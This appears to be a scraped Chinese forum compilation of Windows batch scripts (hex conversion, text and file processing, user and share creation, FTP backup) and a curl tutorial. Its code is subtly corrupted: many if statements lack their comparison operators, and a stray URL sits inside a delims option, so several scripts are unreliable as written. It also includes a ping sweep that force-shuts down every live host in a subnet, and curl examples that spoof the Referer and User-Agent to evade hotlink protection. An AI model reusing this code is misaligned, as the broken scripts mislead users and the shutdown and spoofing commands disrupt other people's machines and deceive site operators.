for /f "tokens=2" %%i in ('ping %1 -n 1 -w 1 ^|find "Pinging"') do (
for /f "tokens=1-4 delims=." %%a in ("%%i") do (
set /a tmp1 = %%a / 16
set /a tmp2 = %%a - 16 * !tmp1!
set /a tmp3 = %%b / 16
set /a tmp4 = %%b - 16 * !tmp3!
set /a tmp5 = %%c / 16
set /a tmp6 = %%c - 16 * !tmp5!
set /a tmp7 = %%d / 16
set /a tmp8 = %%d - 16 * !tmp7!
for /l %%a in (1,1,8) do (
if !tmp%%a! 10 set tmp%%a=!tmp%%a:10=A!
if !tmp%%a! 11 set tmp%%a=!tmp%%a:11=B!
if !tmp%%a! 12 set tmp%%a=!tmp%%a:12=C!
if !tmp%%a! 13 set tmp%%a=!tmp%%a:13=D!
if !tmp%%a! 14 set tmp%%a=!tmp%%a:14=E!
if !tmp%%a! 15 set tmp%%a=!tmp%%a:15=F!
)))
echo.
echo %1 = 0x!tmp1!!tmp2!!tmp3!!tmp4!!tmp5!!tmp6!!tmp7!!tmp8!
endlocal
:end
goto:eof
:syntax
cls
echo.
echo.DxH.cmd 16进制^<=^>10进制 互转脚本. Written by hitme 2005.7.27
echo.
echo.用法: DxH 数字
echo.
echo.例如: DxH 1234567
echo. DxH 0x1234fd3
DxH.rar
2. CCF
attachment.rar
3. cmd
述求:有一个party,达到对到场人员,随机分组玩团队游戏的目的。。。
能够随意的输入姓名,输入完后,把随机分组排列的姓名显示在屏幕上
设姓名文本为name.txt,一个名字一行
分组规则为:4人一组
思路为:乱编号+编号排序=乱序,然后分组
随机空间大小为10的3次方,几十人的party应该够了吧
准备好name.txt,保存为xy.cmd运行,自定义修改红色部分
@echo off
for /f "delims=" %%i in (name.txt) do (
setlocal ENABLEDELAYEDEXPANSION
for /l %%a in (1,1,3) do (
echo %random% >nul
set m=!m!!random:~-1!
)
echo !m!!:%%i>>tmp.txt
endlocal
)
setlocal ENABLEDELAYEDEXPANSION
set /a num=0
set /a linenum=0
for /f "delims=" %%i in (tmp.txt) do set /a linenum=!linenum!+1
for /f "tokens=1,2* delims=: " %%i in ('sort tmp.txt ^| findstr /n
"."') do (
set n=%%k
set m=!m!!n!
set /a num=!num!+1
if !num! 4 (
echo !m!>>tmp1.txt
set /a num=0
set m=)
if "%%i" "!linenum!" (
if "!m!" neq "" echo !m!>>tmp1.txt)
)
endlocal
findstr /n "." tmp1.txt>list.txt
del tmp*.txt
start list.txt
xy.rar
4. cmd
cmd下的一些文本处理
开头跑个题,插播个广告,隆重推出,铛铛铛铛~~~,excel!excel!excel!
m$那个电子表格软件?提它做什么?这题太跑了吧?
做行文本处理!排序,过滤,中间插入,翻个身,倒个个,奇偶行交换,抽取 1,4,9..行,合并,交叉合并,首行填充奇数行,等等72变 相比xnix shell,各种文本编辑软件,决不逊色,入门还更容易,帮助文件更为详尽,实为居家旅行,杀人越货的强手货,没有概念的赶紧试用。使用时需要的仅仅是个思路。思路..思路很重要!
言归正传,还是cmd,用它做文本处理,只能算是勉为其难,凑合着用吧,常
做深呼吸,小心给"憋"着了
1.列表多个文本文件文件名+文件内容
2.构造001.txt 002.txt 999.txt 文本内容分别是text001 text002
3.构造|002|003../01|02|03.htm序列
4.将一堆文本形式的网址单独转换成IE收藏夹的快捷方式
5.将IE收藏夹导出为CSV格式文档
6.有txt文件all.txt 和 a.txt 里面存放的是文件列表,求出a.txt里面没有 ,而all.txt里有的文件列表
7.文本文件中的单词实现全文自动统计并排序
8.统计一个文本文件中某一单词出现的次数?
9.GB和Maxthon群组转换
10.合并2个字幕文本文件
11.snap&compare 多个html的固定内容
1.列表多个文本文件文件名+文件内容
find /v "" *.txt >list.txt
*继续观察自带命令的有价值输出
2.构造001.txt 002.txt 999.txt 文本内容分别是text001 text002
for /l %i in (1,1,9) do @echo text00%i >00%i.txt
for /l %i in (10,1,99) do @echo text0%i >0%i.txt
for /l %i in (100,1,999) do @echo text%i >%i.txt
*分段补零
3.构造|002|003../01|02|03.htm文件,以下内容保存为.bat文件
执行
代码:
setlocal ENABLEDELAYEDEXPANSION
for /l %%i in (1001,1,1162) do for /l %%j in (101,1,112) do @(set
s=%%i && set t=%%j && echo ^<td^>^<a
href="http://www.sergeaura.net/TGP/!s:~1,3!/images/!t:~1,2!.jpg"^>!s
:~1,3!!t:~1,2!.jpg^</a^>^</td^> >>file.htm)
endlocal
*嵌套for,两组变量
*00x,0x序号构造,加减高位 ccfer su99原创
4.将一堆文本形式的网址单独转换成IE收藏夹的快捷方式
for /f "tokens=1,2,3 delims=:/" %i in ('findstr /n "." 文本.txt') do
echo [InternetShortcut] >>%k_%i.url && echo url=http://%k
>>%k_%i.url
*没什么特别的
5.将IE收藏夹导出为CSV格式文档,以下内容保存为.bat文件执行
代码:
for /f "tokens=1,3,4 delims=:" %%i in ('findstr /s "http" *.url') do
if %%k neq 0 (echo %%i,http:%%j:%%k >>list.csv) else echo
%%i,http:%%j >>list.csv
*findstr /s *.*得到文件相对路径,利用之
6.有txt文件all.txt 和 a.txt 里面存放的是文件列表,求出a.txt里面没有,而all.txt里有的文件列表
#有txt文件 all.txt 和 a.txt 里面存放的是文件列表,a.txt 是 all.txt 的
子集,求出a.txt里面没有,而all.txt里有的文件列表
for /f "delims=" %i in (all.txt) do @findstr /x /c:"%i" a.txt >nul
|| @findstr /x /c:"%i " b.txt >nul || @echo %i>>b.txt
*连续的||..||应用
7.文本文件中的单词实现全文自动统计并排序
一个文本文件,每行有一个单词或字符串(有重复的),几千行。用word或
UE只能做到按字典顺序重新排列、或选中某词统计其个数。
有没有一种方法能自动统计每一不同单词的出现次数,并输出结果列表(加按
出现次数排序就更好了)。
源文件内容:
abc
adfg
aew
dew
abc
abc
aew
adfg
abc
dew
adfg
ewq
abc
自动统计并排序后输出列表(假设):
abc 5
adfg 3
aew 2
dew 2
ewq 1
设输入文本为tmp
for /f "delims=" %i in (tmp) do @echo %i >> %i.txt
@findstr /n "." *.txt >tmp1
for /f "tokens=1-3 delims=:" %i in (tmp1) do @echo %k %j>%i
copy *.txt result.txt
*分类汇总,excel,awk。。不合用的时候,cmd顶住
*行号=数量
8.统计一个文本文件中某一单词出现的次数?,以下内容保存为.bat文件执行
find_word.bat
代码:
@echo off
setlocal ENABLEDELAYEDEXPANSION
set /p file=请输入要查询的文件名:
set /p name=请输入要查询的单词:
set /a n=0
:loop
set /a n=n+1
for /f "tokens=%n% delims=,;.()[]{}!? " %%i in (%file%) do if /i %%i
equ %name% echo %name% >>%name%.txt
if %n% neq 255 (goto loop) else goto end
:end
for /f "delims=:" %%i in ('findstr /n "." %name%.txt') do set x=%%i
echo %name%出现的次数为:%x%
del %name%.txt
endlocal
*for进行单词匹配,慢死人的那种,纯属yy
9.GB和Maxthon群组转换,以下内容保存为.bat文件执行
GB和Maxthon群组转.bat
代码:
@echo off
:common
setlocal ENABLEDELAYEDEXPANSION
findstr "CaptorGroup" *.cgp && goto max_gb || goto gb_max
:max_gb
rd /s/q gb_group
md gb_group
for %%i in (*.cgp) do echo [Group]>>gb_group\\%%i
for %%a in (*.cgp) do for /f "tokens=1-4 delims :" %%i in ('findstr
/n "=" "%%a " ') do set /a n=%%i-2 && echo
name!n!=%%j>>gb_group\%%a && echo ^url!n!=%%k:%%l>>gb_group\%%a
goto end
:gb_max
rd /s/q max_group
md max_group
for %%a in (*.cgp) do for /f "tokens=2 delims " %%i in ('findstr
"." "%%a " ') do echo %%i>>max_group\%%~na.txt
for %%a in (max_group\*.txt) do echo
[CaptorGroup]>>max_group\%%~na.cgp
for %%a in (max_group\*.txt) do for /f "tokens=1,2 delims=: " %%i in
('findstr "." "%%a " ') do if "%%i" neq "http" (set
n=%%i) else (if "%%i" "http" echo
!n!=http:%%j>>max_group\%%~na.cgp)
del /q max_group\*.txt
goto end
endlocal
:end
cls
echo 转换完成,请查看子目录
pause
exit
*两行并一行,一行拆两行
10.合并2个字幕文本文件
合并2个字幕文本文件
原始文件1如下
代码:
1
00:00:17,920 --> 00:00:18,625
Charlie?
2
00:00:19,858 --> 00:00:20,606
Charlie?
3
00:00:21,635 --> 00:00:23,140
和我一块儿去散步怎样?
4
00:00:23,739 --> 00:00:24,456
不
5
00:00:24,972 --> 00:00:27,317
不,不去,Locke,今天我哪儿都不想去
原始文件2如下
代码:
1
00:00:17,820 --> 00:00:18,525
Charlie?
2
00:00:19,758 --> 00:00:20,506
Charlie?
3
00:00:21,535 --> 00:00:23,040
How about you and I go for a walk?
4
00:00:23,639 --> 00:00:24,356
No.
5
00:00:24,872 --> 00:00:27,217
No, thanks, Locke. I think I'm gonna stay in today.
要求合并后的文件如下
代码:
1
00:00:17,920 --> 00:00:18,625
Charlie?
Charlie?
2
00:00:19,858 --> 00:00:20,606
Charlie?
Charlie?
3
00:00:21,635 --> 00:00:23,140
和我一块儿去散步怎样?
How about you and I go for a walk?
4
00:00:23,739 --> 00:00:24,456
不
No.
5
00:00:24,972 --> 00:00:27,317
不,不去,Locke,今天我哪儿都不想去
No, thanks, Locke. I think I'm gonna stay in today.
想把中英文字幕合并起来,边看片子还可以边学学英文
其实软件上是可以同时加载2个字幕的,也可以实现要求
可是我现在看片子都是在Xbox上看,XBMC这个播放软件在同一时间只能支持一
个srt字幕,所以才会有此要求
设文件名为file1.txt file2.txt,以下内容保存为.bat文件执行
fuck.bat
代码:
del 1.txt 2.txt all.txt 合并后文档.txt
echo 加一行 >2.txt
type file2.txt >>2.txt
copy file1.txt 1.txt
:#源文件准备
findstr /n "." 1.txt 2.txt >tmp.txt
:#合并源文件并添加行号
for /l %%i in (1,1,500) do findstr /r "^1.txt:%%i:" tmp.txt
>>all.txt || findstr /r "^2.txt:%%i:" tmp.txt >>all.txt
:#分析,构造目标文件
for /f "tokens=3,* delims=:" %%i in (all.txt) do echo %%i%%j >>合并
后文档.txt
:#滤除多余信息
*交叉合并
11.snap&compare 多个html的固定内容
有以下内容
(*).html
每个html,几乎整个html部分都是固定内容,除了我要监测的(文本方式打开)第225行,第38位开始,75位结束这段,它们有不定时的改变,所有html更新的部分也许不止这一个地方,但我只想监测这 一段有没有软件或方法snap一次镜像,然后下次再snap后作出对上次snap的对比,得出哪个url的html内容监测段作出了改变? 无错误控制,以下内容保存为.bat文件执行
snap&compare.bat
代码:
@echo off
del 差异.txt 2>nul
copy /y snap.txt snap_old.txt 1>nul
:#清理及悲愤snap
:snap
echo %date% %time% >snap.txt
:#加入时间戳
set url=http://www.abcd.com/pub/wrok
:#url变量赋值
for /l %%i in (1,1,100) do curl %url%%%i.html | findstr /n "." |
findstr /r "^225:" >>tmp.txt && echo %url%%%i >>tmp.txt
:#下载htm并过滤所需行
setlocal ENABLEDELAYEDEXPANSION
for /f "tokens=1* delims=:" %%i in (tmp.txt) do if "%%i" "http"
(echo %%i%%j !n! >>snap.txt) else set n=%%j
endlocal
:#整型快照
del tmp.txt
:#删除临时文件
:goto
if not exist snap_old.txt cls && echo 第一次建立快照文件
snap^.txt^,请再次运行snap^&compare^.cmd获取文件差异&& pause && goto end
:#判断是否存在对比快照,如不存在则不进行差异比较
:compare
findstr /n "." snap.txt >tmp1.txt
findstr /n "." snap_old.txt >tmp2.txt
:#为snap文本加入行号
for /l %%i in (2,1,100) do findstr /r "^%%i:" tmp1.txt tmp2.txt
>>tmp3.txt
:#以行号为序合并tmp文件
findstr /r "1:" tmp*.txt >>差异.txt
:#添加时间戳
setlocal ENABLEDELAYEDEXPANSION
for /f "tokens=1* delims=:" %%i in (tmp3.txt) do if %%i tmp1.txt
(set n=%%j) else (if %%j neq !n! echo %%j>>差异.txt)
endlocal
:#比较文本,计算差异行及行号
del tmp*.txt
:#清理临时文件
cls && echo 完成差异比较,请查看"差异.txt"
&& pause
end:
*两行并一行,相似文本比较
5. cmd
cmd下的一些文件处理:
1.保持文件夹结构,copy特定大小,时间,类型文件
2.保持文件夹结构,copy文件名,内容空
3.按文件数量移动文件到目标目录
4.copy某层(3..4..5)子目录下的文件到目标路径
5.删除文件夹中非某扩展名(如txt)的文件
6.copy不同文件夹下的同名文件到目标文件夹
7.同一文件copy到所有子文件夹中
8.处理所有扩展名为e??且不是exe的文件
9.每个文件生成一个同名文件夹,然后把各个文件拷贝到同名文件夹中
10.删除空文件夹
1.保持文件夹结构,copy特定大小,时间,类型文件
#特定类型
xcopy /s/y *.exe 目标路径
*很多单独的命令(dir;xcopy等)自身就富有变化,善用之
#特定大小
(例如小于50000字节,具体运算符号:EQU - 等于 NEQ - 不等LSS - 小于 LEQ
- NEQ - 不等于)
for /r %i in (*.*) do if %~zi lss 50000 xcopy /s "%i" 目标路径"%~pi"
*出动循环武器for命令,可与众多命令搭配使用,例如if,findstr,echo等等
*这里用它枚举子文件夹下的文件,%~zi扩冲为文件大小,交给if命令进行比较
运算,成功后xcopy至目标路径并copy文件夹
*for命令执行顺序)输入,for枚举,do...爱干吗干嘛
#特定时间
例:拷贝特定时间(2005-04-19)的文件,以下内容保存为.bat文件执行
代码:
setlocal ENABLEDELAYEDEXPANSION
for /r %%i in (*.*) do set dd=%%~ti && if "!dd:~0,8!" "05-04-19"
xcopy /s "%%i" 目标路径"%%~pi"
endlocal
*同上一条,还是for,if,xcopy,由于不能直接对for变量%~ti进行%~ti:~0,8这
样的扩展,变通一下,set给普通变量,再做扩展
*%var~:0,8%扩展的说明:两个数字表示偏移量和长度,具体参看set /?
*关于ENABLEDELAYEDEXPANSION延迟环境变量扩充,参看set /?,有实例说明
2.保持文件夹结构,copy文件名,内容空
xcopy /t/s *.* 目标路径
for /r %i in (*.*) do echoc >目标路径"%~pnxi"
*xcopy /t/s建立镜象文件夹,for /r in (*.*)枚举子文件夹中的文件,利用
echoc的bug,写入0字节文件
3.按文件数量移动文件到目标文件夹,以下内容保存为.bat文件执行
代码:
setlocal ENABLEDELAYEDEXPANSION
set /a n=0
:loop
set /a n=n+1
md 文件夹%n%
for %%i in (*.*) do move "%%i" 文件夹%n% & dir 文件夹%n% | findstr
/c:"100 个文件" && goto loop
endlocal
*需求将源文件夹中的文件,每100个移动至文件夹1..2..3
*for (*.*) do move一个 && 查找是否有100个了 && 找到跳出去,移动下
100个
4.copy某层(3..4..5)子目录下的文件到目标路径
#复制第3层文件夹下的文件到目标路径
dir /s/b/a:d >d.txt
for /f "tokens=1-4 delims=\" %i in (d.txt) do echo n | xcopy /e
"%i\%j\%k\%l" 目标路径
*dir 列出没有标题信息或摘要的子文件夹,并重定向到d.txt
*for /f ..(d.txt),分析d.txt,交xcopy复制
*也可以直接用for /f ..('dir /s/b/a:d') do dir输出会被抓进内存,当作
文件分析。分两行写主要是考虑到文件夹复杂时的脚本效率
5.删除文件夹中非某扩展名(如txt)的文件
for /f "delims=http://www.likecs.com/" %i in ('dir /b/s *.*') do dir /b/s *.txt | find
"%i" || del "%i"
*抓dir *.*的输出,在dir *.txt输出中查找,没找到则不是txt文件,删除之
*可扩充为非txt+jpg+gif的文件,不会眼花了
6.copy不同文件夹下的同名文件到目标文件夹
文件夹1下面有一个文件123.jpg
文件夹2下面也有一个文件123.jpg,文件名相同,内容不同
文件夹3下面也有一个文件123.jpg,文件名相同,内容不同
我想搜索所有的文件123.jpg,copy到一个目标文件夹下,但是我用搜索->复 制,出现后者覆盖前者的问题,只能保留一个文件123.jpg,有没有 办法把这些同名文件拷贝到相同文件夹下?或者是说如何自动重命名搜索到的 文件?
dir /s/b 123.jpg | find /n "123.jpg" >temp.txt
for /f "tokens=1,2 delims=[]" %i in (temp.txt) do copy "%j" d:\123-
"%i".jpg
*枚举所有123.jpg文件的完整路径,并加上行号重定向到temp.txt
*for /f () do copy 同时重命名为123_行号.jpg,行号不会重复,利用一下
7.同一文件copy到所有子文件夹中
for /r %a in (.) do xcopy /y filename "%~pa"
*for /r ..(.) do 只枚举文件夹
8.处理所有扩展名为e??且不是exe的文件
for %i in (*.e??) do if /i "%~xi" neq ".exe" echo %i
9.每个文件生成一个同名文件夹,然后把各个文件拷贝到同名文件夹中
for %i in (*.*) do md "%~ni" && copy %i "%~ni"
10.删除空文件夹
for /l %a in (1,1,9) do for /r %i in (.) do rd %~si
6. cmdhtm
list.rar
1.rar
7. cmd
cmd一些其他应用
1.快速建用户和共享文件夹
2.让服务器在空闲时自动关机或休眠
3.通过FTP自动备份文件
4.扫描一个网段.用for和ping.然后得到存活主机把结果存为ip和ip之间用,隔开
5.DOS下文件列表按文件名长度递增排列
6.远程关机
--1.快速建用户和共享文件夹
又要给学生机房装机了
因为现在有这样的要求:
在教师上加用户 (A1、A2、……A7、B1……H7)(对应学生机)
在教师机上建目录共享 (要对应机器.........)
就是要建A1目录给A1那台机用。
好繁啊,有什么好的介绍吗?
for %i in (a b c d e f h) do for /l %j in (1,1,7) do echo %i%j
>>name.txt
:#构造序号文件
for /f %i in (name.txt) do net user %i %i /add
:#天家用户
for /f %i in (name.txt) do md %i
:#建目录
for /f %i in (name.txt) do net share %i=盘符:\%i
:#共享目录
for /f %i in (name.txt) do cacls \%i /g %i:f administrator:f
:#配置权限,一路y回车,即可
*有for不繁
2.让服务器在空闲时自动关机或休眠
单位有一局域网,由于win2000的服务器代理上网,内网IP:192.168.0.*
因大家不定时上网,一般在后半夜便无人再使用网络,但也不能搞一刀切,不
能设定某个时间自动关机,现求一软件,能自动检测内网有无人开机,如果发
现在0点后,半个 小时无人上网,服务器则自动关机(或休眠),我发现
poweroff软件无法实现这个功能。希望大家帮忙。
run.bat #计划任务 0:30分执行这个bat。每30分钟重复执行.注意别ping了
服务器,没测试过,不太可靠
以下内容保存为.bat文件执行
代码:
del reply.txt
echo 关机日志 > reply.txt
for /l %%i in (2,1,254) do ping -n 1 192.168.0.%%i | find "Reply"
>>reply.txt
find "Reply" reply.txt || shutdown
3.通过FTP自动备份文件
机器 A
D:\\aaa\a\ ——》a.rar
D:\\bbb\ ————》b.rar
每 2个小时自动生成一个RAR文件,存放到 D:\\bak\日期\时间\ 目录下
(D:\\bak\2005-01-04\02.00\)然后自动通过FTP传送到 机器B(专用备份机器)
请问谁能帮忙写个脚本 谢谢。 或者把压缩过程省略,直接传送文件夹也可以 ?传送目录?flashfxp啊
以下内容保存为.bat文件执行
代码:
@echo off
path=%path%;c:\program files\winrar
:rar
set tdate=%date:~4,10%
set ttime=%time:~0,2%
mkdir "d:\bak\%tdate%\%ttime%"
rar a -r "d:\bak\%tdate%\%ttime%\a.rar" d:\aaa\*.*
rar a -r "d:\bak\%tdate%\%ttime%\b.rar" d:\bbb\*.*
:ftp
echo open ftp.hitme.com >ftp.txt
echo hitme >>ftp.txt
echo password >>ftp.txt
echo bin >>ftp.txt
echo hash >>ftp.txt
echo prompt >>ftp.txt
echo cd bak >>ftp.txt
echo lcd "d:\bak\%tdate%\%ttime%" >>ftp.txt
echo mkdir %tdate% >>ftp.txt
echo mkdir %tdate%/%ttime% >>ftp.txt
echo cd %tdate%/%ttime% >>ftp.txt
echo mput *.* >>ftp.txt
echo cd /bak >>ftp.txt
echo quit >>ftp.txt
ftp -s:ftp.txt
*echo 构造ftp.txt,利用了系统变量%date%,%time%的扩充形式
4.扫描一个网段.用for和ping.然后得到存活主机把结果存为ip和ip之间用,隔 开
for /l %i in (1,1,254) do @echo connecting 192.168.1.%i && @(for /f
"tokens=1,3 skip=2 delims=: " %j in ('ping 192.168.1.%i') do @if
'%j' 'Reply' @find "192.168.1.%i" list.txt > nul 2>nul || @echo
%k>>list.txt && @echo 192.168.1.%i connected)
*code by su99
*单行精品
5.DOS下文件列表按文件名长度递增排列
如果一个目录里面有如下四个文件(当然,实际中文件数量和文件名是随机的)
1.txt,2.txt,10.txt,20.txt
在DOS下要如何使用如何才能让他们按
1.txt
2.txt
10.txt
20.txt
输出,而非
1.txt
10.txt
2.txt
20.txt
输出?
我用的系统是xp~多谢大家~
for /l %a in (1,1,20) do @(if exist "%a.txt" echo %a.txt)
*思路是穷举。前提是文件名有一定规律:除了数字外的部分要一样,如果是
abc1.txt, xyz10.txt这样乱来,这个方法就不管用了(严格说,如果是有限
个不同的pattern,仍然可以做到,不过麻烦一些)
*code by su99 or list.bat,以下内容保存为.bat文件执行
代码:
@echo off
set t=....
:loop
set t=%t%.
dir /b /a:-d | findstr /r "^%t%$"
if "%t%" "........................." goto end
goto loop
:end
*findstr/r "^.....$过滤排序
6.远程批量关机,以下内容保存为.bat文件执行
代码:
for /l %%i in (1,1,254) do @(arp -d & ping 192.168.3.%%i -n 1 -w 100
& arp -a | find "00-00-00-00-00-00" > nul || shutdown -m
\\192.168.3.%%i -s -f)
*关闭了icmp,照关
8. cmd
cmd中一些符号的说明:
& 最简单的组合命令,作用是连接n个命令,按顺序执行,不管是否有执行失败。
a & b
#依次执行a,b
&&
组合命令,与&命令不同之处在于,判断是否有执行失败,如失败将不继续执行剩下的命令。
a && b #a成功,b执行
|| 作用与&&相反
a || b
#a失败,b执行
连着用a && b || c,表示a成功,则执行b,b失败,则执行c
>、>> 输出重定向命令,将命令的输出写入到一个文件中。
区别:>覆盖写入,>>尾部追加写入
echo a>a.txt
find /v "" *.txt >list.txt
管道命令,前一命令的输出作为后一命令的输入,常用于文本过滤操作
dir | find "hitme.exe"
9. cmdUnicode to ASCII
TYPE Unicode.txt > ASCII.txt
10. Curl-
CURL? 嗯,说来话长了~~~~
这东西现在已经是苹果机上内置的命令行工具之一了,可见其魅力之一斑
1)
二话不说,先从这里开始吧!
curl
回车之后, 的html就稀里哗啦地显示在屏幕上了~~~~~
2)
嗯,要想把读过来页面存下来,是不是要这样呢?
curl > page.html
当然可以,但不用这么麻烦的!
用curl的内置option就好,存下http的结果,用这个option: -o
curl -o page.html
这样,你就可以看到屏幕上出现一个下载页面进度指示。等进展到100%,自然就OK咯
3)
什么什么?!访问不到?肯定是你的proxy没有设定了。
使用curl的时候,用这个option可以指定http访问所使用的proxy服务器及其
端口: -x
curl -x 123.45.67.89:1080 -o page.html
4)
访问有些网站的时候比较讨厌,他使用cookie来记录session信息。
像IE/NN这样的浏览器,当然可以轻易处理cookie信息,但我们的curl呢
?.....
我们来学习这个option: -D <-- 这个是把http的response里面的cookie信息
存到一个特别的文件中去
curl -x 123.45.67.89:1080 -o page.html -D cookie0001.txt
这样,当页面被存到page.html的同时,cookie信息也被存到了
cookie0001.txt里面了
5)
那么,下一次访问的时候,如何继续使用上次留下的cookie信息呢?要知道,很多网站都是靠监视你的cookie信息,来判断你是不是不按规矩访问他们的网站的。
这次我们使用这个option来把上次的cookie信息追加到http request里面去:
-b
curl -x 123.45.67.89:1080 -o page1.html -D cookie0002.txt -b
cookie0001.txt
这样,我们就可以几乎模拟所有的IE操作,去访问网页了!
6)
稍微等等~~~~~我好像忘记什么了~~~~~
对了!是浏览器信息~~~~
有些讨厌的网站总要我们使用某些特定的浏览器去访问他们,有时候更过分的是,还要使用某些特定的版本~~~~
NND,哪里有时间为了它去找这些怪异的浏览器呢!?
好在curl给我们提供了一个有用的option,可以让我们随意指定自己这次访问 所宣称的自己的浏览器信息: -A
curl -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" -x
123.45.67.89:1080 -o page.html -D cookie0001.txt
这样,服务器端接到访问的要求,会认为你是一个运行在Windows 2000上的IE6.0,嘿嘿嘿,其实也许你用的是苹果机呢!而"Mozilla/4.73 [en] (X11; U; Linux 2.2; 15 i686"则可以告诉对方你是一台PC上跑着的Linux,用的是Netscape 4.73,呵呵呵
7)
另外一个服务器端常用的限制方法,就是检查http访问的referer。比如你先访问首页,再访问里面所指定的下载页,这第二次访问的referer地址就是第一次访问成功后的页面地址。这样,服务器端只要发现对下载页面某次访问的
referer地址不 是首页的地址,就可以断定那是个盗连了~~~~~
讨厌讨厌~~~我就是要盗连~~~~~!!
幸好curl给我们提供了设定referer的option: -e
curl -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" -x
123.45.67.89:1080 -e "mail.yahoo.com" -o page.html -D cookie0001.txt
这样,就可以骗对方的服务器,你是从mail.yahoo.com点击某个链接过来的了 ,呵呵呵
8)
写着写着发现漏掉什么重要的东西了!----- 利用curl 下载文件
刚才讲过了,下载页面到一个文件里,可以使用 -o ,下载文件也是一样。
比如, curl -o 1.jpg ~zzh/screen1.JPG
这里教大家一个新的option: -O
大写的O,这么用: curl -O
~zzh/screen1.JPG
这样,就可以按照服务器上的文件名,自动存在本地了!
再来一个更好用的。
如果screen1.JPG以外还有screen2.JPG、screen3.JPG、....、
screen10.JPG需要下载,难不成还要让我们写一个script来完成这些操作?不干!
在curl里面,这么写就可以了:
curl -O ~zzh/screen[1-10].JPG
呵呵呵,厉害吧?!~~~
9)
再来,我们继续讲解下载!
curl -O ~{zzh,nick}/[001-201].JPG
这样产生的下载,就是
~zzh/001.JPG
~zzh/002.JPG
...
~zzh/201.JPG
~nick/001.JPG
~nick/002.JPG
...
~nick/201.JPG
够方便的了吧?哈哈哈
咦?高兴得太早了。
由于zzh/nick下的文件名都是001,002...,201,下载下来的文件重名,后面
的把前面的文件都给覆盖掉了~~~
没关系,我们还有更狠的!
curl -o #2_#1.jpg ~{zzh,nick}/[001-
201].JPG
--这是.....自定义文件名的下载?
--对头,呵呵!
#1是变量,指的是{zzh,nick}这部分,第一次取值zzh,第二次取值nick
#2代表的变量,则是第二段可变部分---[001-201],取值从001逐一加到201
这样,自定义出来下载下来的文件名,就变成了这样:
原来: ~zzh/001.JPG ---> 下载后: 001-zzh.JPG
原来: ~nick/001.JPG ---> 下载后: 001-nick.JPG
这样一来,就不怕文件重名啦,呵呵
9)
继续讲下载
我们平时在windows平台上,flashget这样的工具可以帮我们分块并行下载
,还可以断线续传。
curl在这些方面也不输给谁,嘿嘿
比如我们下载screen1.JPG中,突然掉线了,我们就可以这样开始续传
curl -c -O ~zzh/screen1.JPG
当然,你不要拿个flashget下载了一半的文件来糊弄我~~~~别的下载软件的半
截文件可不一定能用哦~~~
分块下载,我们使用这个option就可以了: -r
举例说明
比如我们有一个~zzh/zhao1.mp3 要下载(赵老
师的电话朗诵 :D )
我们就可以用这样的命令:
curl -r 0-10240 -o "zhao.part1"
http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.mp3 &\
curl -r 10241-20480 -o "zhao.part1"
http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.mp3 &\
curl -r 20481-40960 -o "zhao.part1"
http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.mp3 &\
curl -r 40961- -o "zhao.part1"
http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.mp3
这样就可以分块下载啦。
不过你需要自己把这些破碎的文件合并起来
如果你用UNIX或苹果,用 cat zhao.part* > zhao.mp3就可以
如果用的是Windows,用copy /b 来解决吧,呵呵
上面讲的都是http协议的下载,其实ftp也一样可以用。
用法嘛,
curl -u name:passwd ftp://ip:port/path/file
或者大家熟悉的
curl ftp://name:passwd@ip:port/path/file
10)
说完了下载,接下来自然该讲上传咯
上传的option是 -T
比如我们向ftp传一个文件: curl -T localfile -u name:passwd
ftp://upload_site:port/path/
当然,向http服务器上传文件也可以
比如 curl -T localfile ~zzh/abc.cgi
注意,这时候,使用的协议是HTTP的PUT method
刚才说到PUT,嘿嘿,自然让老服想起来了其他几种methos还没讲呢!
GET和POST都不能忘哦。
http提交一个表单,比较常用的是POST模式和GET模式
GET模式什么option都不用,只需要把变量写在url里面就可以了
比如:
curl ?user=nickwolfe&password=12345
而POST模式的option则是 -d
比如,curl -d "user=nickwolfe&password=12345"
就相当于向这个站点发出一次登陆申请~~~~~
到底该用GET模式还是POST模式,要看对面服务器的程序设定。
一点需要注意的是,POST模式下的文件上的文件上传,比如
<form method="POST" enctype="multipar/form-data"
action="http://cgi2.tky.3web.ne.jp/~zzh/up_file.cgi">
<input type=file name=upload>
<input type=submit name=nick value="go">
</form>
这样一个HTTP表单,我们要用curl进行模拟,就该是这样的语法:
curl -F upload=@localfile -F nick=go
~zzh/up_file.cgi
罗罗嗦嗦讲了这么多,其实curl还有很多很多技巧和用法
比如 https的时候使用本地证书,就可以这样
curl -E localcert.pem https://remote_server
再比如,你还可以用curl通过dict协议去查字典~~~~~
curl dict://dict.org/d:computer
今天就先讲到这里吧,呵呵。疯狂的curl功能,需要你---一起来发掘。
copyright by nickwolfe@CCF
2004.08.24 21:24应朋友之邀所作--初稿
curl.rar
11. MT<->IE cmd
快捷组cgp->收藏夹url
conv_c_u.cmd
MT Groups目录下运行
代码
@echo off
setlocal ENABLEDELAYEDEXPANSION
for %%a in (*.cgp) do (
set pathu=ie_url\%%~na
md !pathu!
set /a n=0
for /f "skip=1 tokens=1* delims " %%i in (%%a) do (
if "%%i" "[Properties]" (set /a n=1) else (
if !n! 0 (
echo [InternetShortcut]>>"!pathu!\%%i".url
echo URL=%%j>>"!pathu!\%%i".url)
)
)
)
endlocal
收藏夹url->快捷组cgp
conv_u_c.cmd
IE_Favorites目录下运行
代码
@echo off
echo [CaptorGroup]>>url.cgp
for /f %%i in ('dir /b/ad') do (
echo [CaptorGroup]>>%%i.cgp
)
setlocal ENABLEDELAYEDEXPANSION
for /f "usebackq tokens=1,2* delims=\=" %%i in (`findstr /s /r
"^URL=" *.url^|findstr "\\"`) do (
set n=%%j
echo !n:~0,-8!=%%k>>%%i.cgp
)
for /f "usebackq tokens=1* delims=\=" %%i in (`findstr /s /r "^URL="
*.url^|findstr /v "\\"`) do (
set n=%%i
echo !n:~0,-8!=%%j>>url.cgp
)
endlocal
conv_c_u.rar
conv_u_c.rar
12. PingDNS
@echo off
if [%1] [] (
set ip=emptyType
set str=Address
) else (
set ip=%1
set str=Name
)
for /f "tokens=2" %%i in ('nslookup %ip% ^|findstr "%str%"') do
ping %2 %3 %%i
13. ping()
试玩一下,test by win2kchs,部分系统注意自行替换红色部分
用法:cmd下
sping ip/hostname
sping.rar
14. treehtm
